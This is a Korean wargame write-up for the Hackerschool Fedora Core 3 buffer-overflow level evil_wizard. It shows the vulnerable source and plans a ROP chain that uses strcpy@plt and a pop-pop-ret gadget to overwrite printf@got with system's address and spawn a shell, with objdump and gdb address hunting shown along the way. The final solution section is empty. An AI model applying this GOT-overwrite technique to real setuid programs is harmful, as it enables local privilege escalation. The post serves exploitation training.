둘둘리둘둘리둘둘리둘둘리둘둘리둘

[ Fedora Core 3] hell_fire -> evil_wizard 본문

War game/해커 스쿨 FC3

[ Fedora Core 3] hell_fire -> evil_wizard

dool2ly 2015. 8. 23. 21:18

/*

        The Lord of the BOF : The Fellowship of the BOF

        - evil_wizard

        - Local BOF on Fedora Core 3

        - hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

        asm("pop %eax");

        asm("pop %eax");

        asm("ret");

}


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];

        int length;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // for disturbance RET sleding

        length = strlen(argv[1]);


        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


        printf("%s\n", buffer);

}



pop_pop_ret함수에서 POP-POP-RET 가젯을 제공해주고, setreuid,setregid도 제공해준다.


힌트와 PPR가젯 제공해준걸로 봐선 ROP로 GOT overwriting 하란것 같다.


plt와 got에 대해서 잘 모르면 요기 ->http://dool2ly.tistory.com/28


system("/bin/sh")만 실행 시켜주면 되겠다.

printf@got에 함수 system의 주소를 덮어 씌워버리고 printf@plt을 실행하면 printf가 아닌 system 함수가 호출 될 것이다.


궂이 이렇게 got를 바꿔가면서까지 printf를 호출 하려는 이유는 라이브러리 함수 주소에 NULL값이 포함되서 페이로드 구성에 어려움이 있기때문인듯


단순하게 설명하자면 아래와 같다.

strcpy( printf@got+1 , &system[1] );

strcpy( printf@got+2 , &system[2] );

strcpy( printf@got+3 , &system[3] );

strcpy( printf@got+4 , &system[4] );

printf("/bin/sh");

(1Byte씩 나눠서 복사하는 이유는 이 문제를 풀고나서 strcpy 함수의 원형 

char *strcpy(char *dest, const char *src);을 잘 생각해보거나 이 문제의 답을 직접 디버깅해보면 알 수 있다.)


이 과정을 페이로드로 구성하면..

[ dummy | +

 strcpy@plt | PPR | printf@got+0 | system[0] | +

 strcpy@plt | PPR | printf@got+1 | system[1] | +

 strcpy@plt | PPR | printf@got+2 | system[2] | +

 strcpy@plt | PPR | printf@got+3 | system[3] | +

 printf@plt | dummy 4 | &/bin/sh ]

이렇게 되겠다 RTL chaining과 매우 비슷비슷..


RTL chaining은 해커스쿨 FTZ level20(http://dool2ly.tistory.com/26)과 

요기 -> (http://dool2ly.tistory.com/category/BOF)에 간략하게 설명 되어 있다.

  

그럼 이제 페이로드에 필요한 주소들을 주섬주섬 수집해보자.


//printf@plt, strcpy@plt 주소 주섬주섬..

[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizard | grep plt

Disassembly of section .plt:

080483e4 <strlen@plt-0x10>:

080483f4 <strlen@plt>:

08048404 <setregid@plt>:

08048414 <__libc_start_main@plt>:

08048424 <printf@plt>:

08048434 <memcpy@plt>:

08048444 <setreuid@plt>:

08048454 <exit@plt>:

08048464 <getegid@plt>:

08048474 <memset@plt>:

08048484 <geteuid@plt>:

08048494 <strcpy@plt>:



//printf@got 주소 주섬주섬 ..

(gdb) x/3i 0x08048424

0x8048424 <_init+88>:   jmp    ds:0x8049884

0x804842a <_init+94>:   push   0x18

0x804842f <_init+99>:   jmp    0x80483e4 <_init+24>



//POP-POP-RET 가젯 주섬주섬..

[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizar1 | egrep 'pop|ret'

 80483e2:       c3                      ret

...

 804851d:       c3                      ret

 8048549:       c3                      ret

0804854c <pop_pop_ret>:

 804854f:       58                      pop    %eax

 8048550:       58                      pop    %eax

 8048551:       c3                      ret

 8048553:       c3                      ret

 8048694:       c3                      ret

 80486a6:       5b                      pop    %ebx


당연하게 주소끝자리가 연결되있어야함! (예: 0x0804854f, 50, 51)



// system 주소 주섬주섬..

(gdb) p system

$1 = {<text variable, no debug info>} 0x7507c0 <system>



//system함수 내의 문자열 "/bin/sh"의 주소 찾기

[hell_fire@Fedora_1stFloor ~]$ cat ./t.c

#include <stdio.h>


int main(){

        long sh = 0x007507c0;

        while(memcmp((void *)sh,"/bin/sh",8))sh++;

        printf("res:0x%x\n",sh);

        return 0;

}


[hell_fire@Fedora_1stFloor ~]$ gcc ./t.c

[hell_fire@Fedora_1stFloor ~]$ ./a.out

res:0x833603



//system 주소를 1Byte단위로 끊어서 각각의 주소를 찾기

//c0 : 0x08048420

[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizar1 | grep c0 | head -3

 804841f:       e9 c0 ff ff ff          jmp    80483e4 <_init+0x18>

 80484c0:       e8 4f ff ff ff          call   8048414 <__libc_start_main@plt>

 80484df:       85 c0                   test   %eax,%eax


//07 : 0x08048154

[hell_fire@Fedora_1stFloor ~]$ objdump -s ./evil_wizar1 | grep 07 | head -3

 8048148 03000000 0f000000 0d000000 07000000  ................

 80482a8 745f5f00 6c696263 2e736f2e 36007374  t__.libc.so.6.st

 80482b8 72637079 00707269 6e746600 67657465  rcpy.printf.gete


//75 : 0x0804871f (0x08048513은 안됨.. 추후 검증해봐야겠다)
[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizar1 | grep 75 | head -3
 8048513:       75 eb                   jne    8048500 <__do_global_dtors_aux+0x14>
 80486f8:       81 c3 75 11 00 00       add    $0x1175,%ebx
 804871f:       75 f7                   jne    8048718 <__libc_csu_fini+0x2c>

//00 : 0x080483d4
[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizar1 | grep 00 | head -3
 80483d2:       e8 f1 00 00 00          call   80484c8 <call_gmon_start>
 80483d7:       e8 44 01 00 00          call   8048520 <frame_dummy>
 80483dc:       e8 4f 03 00 00          call   8048730 <__do_global_ctors_aux>


필요한 주소들과 페이로드까지 다 갖춰졌다.



--풀이--


Comments